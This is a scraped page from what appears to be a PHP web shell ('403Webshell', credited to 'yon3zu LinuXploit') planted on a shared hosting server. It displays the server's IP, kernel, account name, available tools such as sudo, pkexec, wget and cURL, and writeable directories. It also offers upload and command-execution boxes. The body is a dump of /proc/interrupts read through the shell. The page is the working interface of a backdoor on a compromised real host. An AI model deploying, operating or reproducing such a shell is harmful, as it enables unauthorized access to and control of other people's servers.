403Webshell
Server IP : 67.20.76.190  /  Your IP : 216.73.216.4
Web Server : Apache
System : Linux host2028.hostmonster.com 5.14.0-611.47.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 8 20:00:39 EDT 2026 x86_64
User : jegocaco ( 1556)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      
  0:         41          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          0          0          0          0          0          0          0          9          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          9          0          0          0          0          0          0          0          0          0          0          0          0          0       1099          0          0          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0          0          0          0          0          0          0          0         15          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 16:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  16-fasteoi   uhci_hcd:usb1, i801_smbus
 17:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  17-fasteoi   uhci_hcd:usb3
 18:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  18-fasteoi   uhci_hcd:usb4
 19:          0          0          0          0          0          0          0          0         25          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  19-fasteoi   ehci_hcd:usb2
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.1   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.2   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.3   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.4   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.5   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.6   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 32:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 33:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.1   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 34:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.2   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 35:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.3   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 36:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.4   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 37:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.5   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 38:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.6   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 39:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 40:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 41:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.1   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 42:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.2   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 43:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.3   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 44:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.4   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 45:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.5   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 46:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.6   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 47:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 48:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:1f.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 49:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   0-edge      virtio1-config
 50:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   1-edge      virtio1-control
 51:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   2-edge      virtio1-event
 52:  127598441          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   3-edge      virtio1-request
 53:          0   82047980          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   4-edge      virtio1-request
 54:          0          0  118739946          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   5-edge      virtio1-request
 55:          0          0          0   80183738          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   6-edge      virtio1-request
 56:          0          0          0          0  130762640          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   7-edge      virtio1-request
 57:          0          0          0          0          0   87733212          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   8-edge      virtio1-request
 58:          0          0          0          0          0          0  131161180          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0   9-edge      virtio1-request
 59:          0          0          0          0          0          0          0   88003146          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0  10-edge      virtio1-request
 60:          0          0          0          0          0          0          0          0  133100750          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0  11-edge      virtio1-request
 61:          0          0          0          0          0          0          0          0          0   87895788          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0  12-edge      virtio1-request
 62:          0          0          0          0          0          0          0          0          0          0  134486695          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0  13-edge      virtio1-request
 63:          0          0          0          0          0          0          0          0          0          0          0   87875374          0          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0  14-edge      virtio1-request
 64:          0          0          0          0          0          0          0          0          0          0          0          0  134420704          0          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0  15-edge      virtio1-request
 65:          0          0          0          0          0          0          0          0          0          0          0          0          0   88279938          0          0          0          0          0          0  PCI-MSIX-0000:18:00.0  16-edge      virtio1-request
 66:          0          0          0          0          0          0          0          0          0          0          0          0          0          0  128767313          0          0          0          0          0  PCI-MSIX-0000:18:00.0  17-edge      virtio1-request
 67:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   84307238          0          0          0          0  PCI-MSIX-0000:18:00.0  18-edge      virtio1-request
 68:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  220693307          0          0          0  PCI-MSIX-0000:18:00.0  19-edge      virtio1-request
 69:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  235738722          0          0  PCI-MSIX-0000:18:00.0  20-edge      virtio1-request
 70:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  240413691          0  PCI-MSIX-0000:18:00.0  21-edge      virtio1-request
 71:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  241391847  PCI-MSIX-0000:18:00.0  22-edge      virtio1-request
 72:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio0-config
 73:        836    1020286          0          0   24328499          0       2260    8057545     309906          0      94553    2553683          0    2006037          0          0          0          0          0  672342413  PCI-MSIX-0000:00:05.0   1-edge      virtio0-input.0
 74:       1056          0          0      24803  256470181     966219   57418644  102506097   21830651    9163932   26081043   85180910   12254574  239704077   42822020   13844338    1187754          0      46526       2647  PCI-MSIX-0000:00:05.0   2-edge      virtio0-output.0
 75:          0          1  677785797          0          0          0          0          0        805          0          0     833461          0          0          0          0          0          0    1747185   35494584  PCI-MSIX-0000:00:05.0   3-edge      virtio0-input.1
 76:      48346    4500929   37601722     200499   31419823    4029480   44912251   75804045   42020095   15635360   43525874  118822612   14548334   35618533      13544    3650649    1219549       4619     841315          0  PCI-MSIX-0000:00:05.0   4-edge      virtio0-output.1
 77:          0          0          0          1    8207811       5581    8047785   22988465    7949065   26496665   10119249   22414653     701881   10209739  583054170    9030086    1818868       2721          0          0  PCI-MSIX-0000:00:05.0   5-edge      virtio0-input.2
 78:     178437    2674710          0          0   81820570     259314   51467683  103901070   29011207   11227946   72911210  168561919   20804547  283128141   39550204   13674947          0          0          0          0  PCI-MSIX-0000:00:05.0   6-edge      virtio0-output.2
 79:          0          0          0          0          0          1       3850     578168          0     406169      35652    1707309          0          0          0        952     315090  713733456          0          0  PCI-MSIX-0000:00:05.0   7-edge      virtio0-input.3
 80:          0          0          0          0  239974932     785085   26298528   87974712   30019911    7432116   60516903  155224131   16084408  219450263   84226421   99277858   26552604          0   35466067    3397253  PCI-MSIX-0000:00:05.0   8-edge      virtio0-output.3
 81:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSI-0000:00:1f.2   0-edge      ahci[0000:00:1f.2]
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC: 2025002518 1541993232 2090395468 1553607195 2035308902 1558676340 2031633485 1564526066 2023997345 1560743219 2019854324 1564656685 2018359115 1560267044 2088918954 1575613078 2158376522 2262199377 2204081135 2286156404   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:  165759627  121718364  182594100  116727951  174241288  122324518  175002254  120133299  172971849  121037340  172595750  122159976  169983767  122124460  188167081  121264520  135149303  143918052  125964937  139166092   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:   54554835   34412446   47175223   34375294   44027187   34452158   43493103   35210313   43598802   34653407   43839840   34697994   43689323   34711098   46990264   34622456   33527583   31534680   32561612   31864078   Rescheduling interrupts
CAL: 1948030851 1619632627 1561353659 1277543026 1591298014 1261046363 1561243223 1245030279 1566604118 1219323236 1567390589 1212319491 1565085765 1207241766 1560308454 1178819435 1622996454 1680645805 1705009885 1685431332   Function call interrupts
TLB:   65141238   57471375   69702623   58510158   60893085   53641258   59780172   54392557   59844506   53709852   59694623   53641755   59526288   53663487   64288422   54428720   55840448   55387412   54964092   55204396   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011       6011   Machine check polls
HYP:          1          1          1          1          1          1          1          1          1          1          1          1          1          1          1          1          1          1          1          1   Hypervisor callback interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit